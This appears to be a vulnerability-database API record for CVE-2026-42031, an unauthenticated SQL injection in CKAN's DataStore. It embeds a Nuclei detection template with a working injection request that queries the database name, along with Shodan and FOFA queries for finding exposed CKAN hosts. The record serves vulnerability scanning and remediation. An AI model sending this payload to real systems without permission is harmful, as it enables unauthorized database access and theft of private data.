{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-42031/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-42031/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-42031/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-42031/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-42031/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-42031/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-42031"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-42031"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-42031.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-42031\n\ninfo:\n  name: CKAN DataStore SQL Search - SQL Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.\n  impact: |\n    An unauthenticated attacker can read arbitrary data from the PostgreSQL database including system catalog tables, private DataStore resources, and potentially user credentials.\n  remediation: |\n    Upgrade CKAN to version 2.10.10 or 2.11.5 or later.\n  reference:\n    - https://github.com/advisories/GHSA-h7j7-3rx6-xvcg\n    - https://github.com/ckan/ckan/security/advisories/GHSA-h7j7-3rx6-xvcg\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42031\n    epss-score: 0.01817\n    epss-percentile: 0.78778\n    cwe-id: CWE-89\n  metadata:\n    max-request: 2\n    verified: true\n    shodan-query: http.title:\"CKAN\"\n    fofa-query: title=\"CKAN\"\n  tags: cve,cve2026,ckan,sqli,datastore,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/action/status_show\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"ckan_version\"\n          - '\"success\": true'\n        condition: and\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/action/datastore_search_sql?sql=SELECT+ts_rewrite('a'::tsquery,+'SELECT+''a''::tsquery,+(SELECT+current_database())::tsquery')\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '\"success\": true'\n          - \"ts_rewrite\"\n          - \"records\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022052022b7f2119b748ea547f2c7a9184fbebd2248a7911db59131119f19b43dd4c022011a911a95bb20e9ed5f1278ac2d48da64eac356c6bc8e7623b22886f4aaa8eb9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-42031"
}